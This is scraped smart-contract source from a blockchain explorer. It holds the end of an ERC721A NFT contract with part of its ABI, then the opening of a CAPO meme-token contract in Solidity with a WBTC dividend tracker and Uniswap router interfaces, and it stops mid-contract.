* * Requirements: * * - there must be `quantity` tokens remaining unminted in the total collection. * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate onoroff `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} onoroff a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract() && true) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} }

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ERC721A.TokenOwnership","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"isInTheWhitelist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isPublicSaleOn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerAddressDuringMint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nextOwnerToExplicitlySet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"numberMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"saleConfig","outputs":[{"internalType":"uint32","name":"publicMintStartTime","type":"uint32"},{"internalType":"uint32","name":"MintStartTime","type":"uint32"},{"internalType":"uint256","name":"Price","type":"uint256"},{"internalType":"uint256","name":"AmountForWhitelist","type":"uint256"},{"internalType":"uint256","name":"AmountForPubliclist","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"bool[]","name":"_allow","type":"bool[]"}],"name":"setAddressToContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setContractIsdeny","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_merkleRoot","type":"bytes32"}],"name":"setListWhitelistMerkleRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"timestamp","type":"uint32"}],"name":"setMintStartTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"}],"name":"setOwnersExplicit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"price","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"timestamp","type":"uint32"}],"name":"setPublicMintStartTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"},{"internalType":"bool","name":"_allow","type":"bool"}],"name":"setTokenToContract","outputs":[],"stateMutability":"nonpayable","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v0.8.11+commit.d7f03943

00000000000000000000000000000000000000000000000000000000000003e800000000000000000000000000000000000000000000000000000000000015b3

Default

CAPO

CAPO.sol

0x4bb55437105f368d8bf42bb8529c863fb1fa8e74

Solidity

/* ⠄⠄⠄⠄⠄⠄⠄⠄⠄⡀⠄⡀⠄⡀⠄⡀⢀⠄⡀⢀⠄⡀⠄⡀⠄⠄⠄⠄⢀⠄⠄⡀⢀⠄⠄⡀⠄⠄⠄⠄ ⠄⠄⠄⠈⠄⠁⠈⠄⠂⠄⡀⠄⠄⡀⢀⠄⢀⠄⢀⠄⡀⠠⠄⠄⠂⠁⠈⡀⠄⠄⠁⠄⠄⠄⠂⠄⡀⠁⠄⠄ ⠄⠄⠄⠁⠄⠁⠄⠁⠄⠄⠄⠄⠄⠄⠄⠄⠄⢀⠄⡀⡀⠄⠄⠁⢀⢁⠄⡀⠠⠄⠁⡈⢀⠈⢀⠠⠄⢀⠄⠄ ⠄⠄⠄⠄⠁⠄⠁⠄⠂⠄⡠⣲⢧⣳⡳⡯⣟⣼⢽⣺⣜⡵⣝⢜⢔⠔⡅⢂⠄⠄⠁⠄⢀⠄⡀⠄⡀⠄⠄. ⠄⠄⠄⠄⠈⠄⠈⠄⢀⡇⡯⡺⢵⣳⢿⣻⣟⣿⣿⣽⢾⣝⢮⡳⣣⢣⠣⡃⢅⠂⠐⠈⠄⠄⢀⠄⡀⠄⠄⠄ ⠄⠄⠄⠄⠈⠄⠐⢀⠇⡪⡸⡸⣝⣾⣻⣯⣿⣿⡿⣟⣿⡽⣗⡯⣞⢜⢌⠢⡡⢈⠈⠄⠁⠈⠄⠄⠄⠄⠄⠄ ⠄⠄⠄⠄⠐⠄⠈⠆⠕⢔⠡⣓⣕⢷⣻⣽⣝⢷⣻⣻⣝⢯⢿⠹⠸⡑⡅⠕⠠⠠⠄⠅⠄⠂⠄⠂⠈⠄⠄⠄ ⠄⠄⠄⠄⠄⠂⠡⡑⢍⠌⡊⢢⢢⢱⠼⣺⢿⢝⠮⢪⣪⡺⣘⡜⣑⢤⢐⠅⠡⢂⠡⠐⡀⢀⠠⠐⠄⠐⠄⠄ ⠄⠄⠄⠄⢈⢀⠡⠨⡢⡑⡌⡔⡮⡷⣭⢧⣳⠭⣪⣲⣼⣾⣟⣻⣽⣺⣸⣜⢌⢆⢌⠐⠄⡀⠄⡀⠄⠄⠄⠄ ⠄⠄⠄⠄⠄⠠⠄⠌⡢⡵⠺⠞⠟⠛⠯⠟⠟⠝⡫⢗⠟⠝⠙⠉⠊⠑⠉⠉⠉⠑⢒⠠⠁⠄⡀⠠⠄⠄⠄⠄ ⠄⠄⠄⠐⡀⠄⠄⠅⡪⠄⠂⠄⠄⠄⠄⠄⠄⠄⢀⢕⢔⠄⠄⠄⠄⡀⠠⠐⠈⢀⠄⠠⠄⡁⠄⡀⠂⠠⠄⠄ ⠄⠄⠄⠠⠄⠄⠂⡑⠄⠄⠠⠐⠄⠁⠄⠁⠄⠄⢸⣿⣿⡂⠄⠄⢀⠄⡀⠄⠂⠠⠐⠄⡐⡀⠂⢀⠐⠄⠄⠄ ⠄⠄⠄⠄⢐⠄⠂⢕⢅⢄⠄⣀⡀⢄⠄⠁⣀⣔⡵⣿⣯⠧⡣⣢⡠⢀⢀⡠⠐⢀⢐⠠⢀⠐⠄⠄⠄⠄⠄⠄ ⠄⠄⠄⠄⠐⡔⢀⠘⢽⣻⣶⣥⣉⠥⡣⣱⣷⠻⣪⣻⣷⡣⡣⢫⣞⣗⡦⡵⢻⠺⡸⠐⡀⠐⠄⠂⡀⠄⠄⠄ ⠄⠄⠄⠄⠂⠘⡀⠔⢀⠑⠍⠍⡽⣽⣿⣻⠂⡷⣯⡿⣟⡿⠌⡆⠘⣾⣻⢵⢕⠔⢀⠁⠠⠈⡀⠁⠄⡀⠄⠄ ⠄⠄⠄⠄⠠⠄⠄⡐⢰⢈⢄⠱⢽⣺⢳⠁⣈⠄⠄⠈⠊⠈⠄⠄⢡⣐⢫⢯⡢⢊⢄⢪⠨⠠⠄⡀⠁⠄⠄⠄ ⠄⠄⠄⠄⠂⠄⠂⠠⠱⣕⡣⡇⡏⢮⢕⣸⣾⠠⠄⠄⠄⠂⠄⠄⠌⢟⣜⡵⣯⢷⡴⡅⠅⡂⠠⠄⢈⠄⠄⠄ ⠄⠄⠄⠄⠂⠁⢀⠈⠌⡪⢝⢾⣝⣎⠒⠏⠙⠠⠑⠁⠆⠒⠐⠐⠉⢀⠑⣍⡿⣽⡽⡂⠕⠄⠄⠂⢀⠠⠄⠄ ⠄⠄⠄⠐⠄⡈⠄⢀⠄⠊⠍⢯⣷⣏⢊⢀⣈⣠⣤⣤⣤⣴⣶⢶⣴⢤⢬⣌⢻⡺⡻⠈⠄⠂⠄⠂⡀⠄⠄⠄ ⠄⠄⠄⠄⠂⢀⠐⠄⠄⠂⠡⠑⠕⠅⡕⡽⡑⡁⠉⠉⠉⠉⠁⠁⠁⠠⢊⠊⠢⠈⠄⠨⠄⠄⠁⠐⢀⠈⠄. ⠄⠄⠄⠈⢀⠄⠄⠈⡀⢂⠐⠄⠂⠁⠠⠁⡢⡪⣢⣲⣦⣖⡔⡤⡨⡐⢄⠌⠠⠈⠐⠄⠂⠠⠁⢈⠠⠄⠄⠄ ⠄⠄⠄⠄⠄⠄⠄⢂⠄⠢⠂⠈⡀⠈⡀⠈⠰⠹⡨⠑⡑⠕⠕⠊⠌⠌⠄⠐⠄⠂⠁⢈⠄⡁⠐⠄⡐⢀⠂⠄ ⠄⠄⠄⠄⡐⢄⠑⠄⠄⡇⡁⠄⠄⠄⠄⡈⠄⠄⠄⠄⢀⠠⠄⠂⢀⠐⠄⡈⠠⠈⠄⠄⠠⠐⠄⠁⠠⠄⠄⠄ ⠄⠄⡀⢊⠨⢀⢊⠄⠨⡂⡂⠄⠂⠄⢀⠄⠠⠄⠂⠄⠄⡀⠠⠄⠄⠄⠐⠄⠄⡀⠁⡀⠂⠄⠂⠁⠨⠄⠅⠄ ⠄⠄⠐⠄⢂⠢⡀⠄⠬⠄⠂⠅⡀⠈⠄⠄⠄⠄⠄⠄⠄⠄⠄⡀⠂⠄⠂⠄⢀⠄⠄⠄⠄⠂⠄⠂⢈⠐⠄⠄Website: https://capoinu.com ⠄⠄⠈⡀⠄⠄⠄⠄⠅⠅⠐⠄⠄⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠁⠄⠄⠄⠂⢐⠄⠐⠄Telegram: https://t.me/capo_inu ⠄⠄⠄⠄⠄⠂⠄⠄⠕⠈⡂⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⠄⠄⠂⠄X/Twitter: https://x.com/capo_inu */ // SPDX-License-Identifier: MIT pragma solidity 0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _createInitialSupply(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: create initial supply to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } interface DividendPayingTokenOptionalInterface { function withdrawableDividendOf(address _owner, address _rewardToken) external view returns(uint256); function withdrawnDividendOf(address _owner, address _rewardToken) external view returns(uint256); function accumulativeDividendOf(address _owner, address _rewardToken) external view returns(uint256); } interface DividendPayingTokenInterface { function dividendOf(address _owner, address _rewardToken) external view returns(uint256); function distributeDividends() external payable; function withdrawDividend(address _rewardToken) external; event DividendsDistributed( address indexed from, uint256 weiAmount ); event DividendWithdrawn( address indexed to, uint256 weiAmount ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract DividendPayingToken is DividendPayingTokenInterface, DividendPayingTokenOptionalInterface, Ownable { using SafeMath for uint256; using SafeMathUint for uint256; using SafeMathInt for int256; uint256 constant internal magnitude = 2**128; mapping(address => uint256) internal magnifiedDividendPerShare; address[] public rewardTokens; address public nextRewardToken; uint256 public rewardTokenCounter; IUniswapV2Router02 public immutable uniswapV2Router; mapping(address => mapping(address => int256)) internal magnifiedDividendCorrections; mapping(address => mapping(address => uint256)) internal withdrawnDividends; mapping (address => uint256) public holderBalance; uint256 public totalBalance; mapping(address => uint256) public totalDividendsDistributed; constructor(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // router 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D uniswapV2Router = _uniswapV2Router; rewardTokens.push(address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599)); // WBTC - 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 nextRewardToken = rewardTokens[0]; } receive() external payable { distributeDividends(); } function distributeDividends() public override payable { require(totalBalance > 0); uint256 initialBalance = IERC20(nextRewardToken).balanceOf(address(this)); buyTokens(msg.value, nextRewardToken); uint256 newBalance = IERC20(nextRewardToken).balanceOf(address(this)).sub(initialBalance); if (newBalance > 0) { magnifiedDividendPerShare[nextRewardToken] = magnifiedDividendPerShare[nextRewardToken].add( (newBalance).mul(magnitude) / totalBalance ); emit DividendsDistributed(msg.sender, newBalance); totalDividendsDistributed[nextRewardToken] = totalDividendsDistributed[nextRewardToken].add(newBalance); } rewardTokenCounter = rewardTokenCounter == rewardTokens.length - 1 ? 0 : rewardTokenCounter + 1; nextRewardToken = rewardTokens[rewardTokenCounter]; } function buyTokens(uint256 bnbAmountInWei, address rewardToken) internal { address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = rewardToken; uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: bnbAmountInWei}( 0, // accept any amount of Ethereum path, address(this), block.timestamp ); } function withdrawDividend(address _rewardToken) external virtual override { _withdrawDividendOfUser(payable(msg.sender), _rewardToken); } function _withdrawDividendOfUser(address payable user, address _rewardToken) internal returns (uint256) { uint256 _withdrawableDividend = withdrawableDividendOf(user, _rewardToken); if (_withdrawableDividend > 0) { withdrawnDividends[user][_rewardToken] = withdrawnDividends[user][_rewardToken].add(_withdrawableDividend); emit DividendWithdrawn(user, _withdrawableDividend); IERC20(_rewardToken).transfer(user, _withdrawableDividend); return _withdrawableDividend; } return 0; } function dividendOf(address _owner, address _rewardToken) external view override returns(uint256) { return withdrawableDividendOf(_owner, _rewardToken); } function withdrawableDividendOf(address _owner, address _rewardToken) public view override returns(uint256) { return accumulativeDividendOf(_owner,_rewardToken).sub(withdrawnDividends[_owner][_rewardToken]); } function withdrawnDividendOf(address _owner, address _rewardToken) external view override returns(uint256) { return withdrawnDividends[_owner][_rewardToken]; } function accumulativeDividendOf(address _owner, address _rewardToken) public view override returns(uint256) { return magnifiedDividendPerShare[_rewardToken].mul(holderBalance[_owner]).toInt256Safe() .add(magnifiedDividendCorrections[_rewardToken][_owner]).toUint256Safe() / magnitude; } function _increase(address account, uint256 value) internal { for (uint256 i; i < rewardTokens.length; i++){ magnifiedDividendCorrections[rewardTokens[i]][account] = magnifiedDividendCorrections[rewardTokens[i]][account] .sub((magnifiedDividendPerShare[rewardTokens[i]].mul(value)).toInt256Safe()); } } function _reduce(address account, uint256 value) internal { for (uint256 i; i < rewardTokens.length; i++){ magnifiedDividendCorrections[rewardTokens[i]][account] = magnifiedDividendCorrections[rewardTokens[i]][account] .add( (magnifiedDividendPerShare[rewardTokens[i]].mul(value)).toInt256Safe() ); } } function _setBalance(address account, uint256 newBalance) internal { uint256 currentBalance = holderBalance[account]; holderBalance[account] = newBalance; if(newBalance > currentBalance) { uint256 increaseAmount = newBalance.sub(currentBalance); _increase(account, increaseAmount); totalBalance += increaseAmount; } else if(newBalance < currentBalance) { uint256 reduceAmount = currentBalance.sub(newBalance); _reduce(account, reduceAmount); totalBalance -= reduceAmount; } } } contract DividendTracker is DividendPayingToken { using SafeMath for uint256; using SafeMathInt for int256; struct Map { address[] keys; mapping(address => uint) values; mapping(address => uint) indexOf; mapping(address => bool) inserted; } function get(address key) private view returns (uint) { return tokenHoldersMap.values[key]; } function getIndexOfKey(address key) private view returns (int) { if(!tokenHoldersMap.inserted[key]) { return -1; } return int(tokenHoldersMap.indexOf[key]); } function getKeyAtIndex(uint index) private view returns (address) { return tokenHoldersMap.keys[index]; } function size() private view returns (uint) { return tokenHoldersMap.keys.length; } 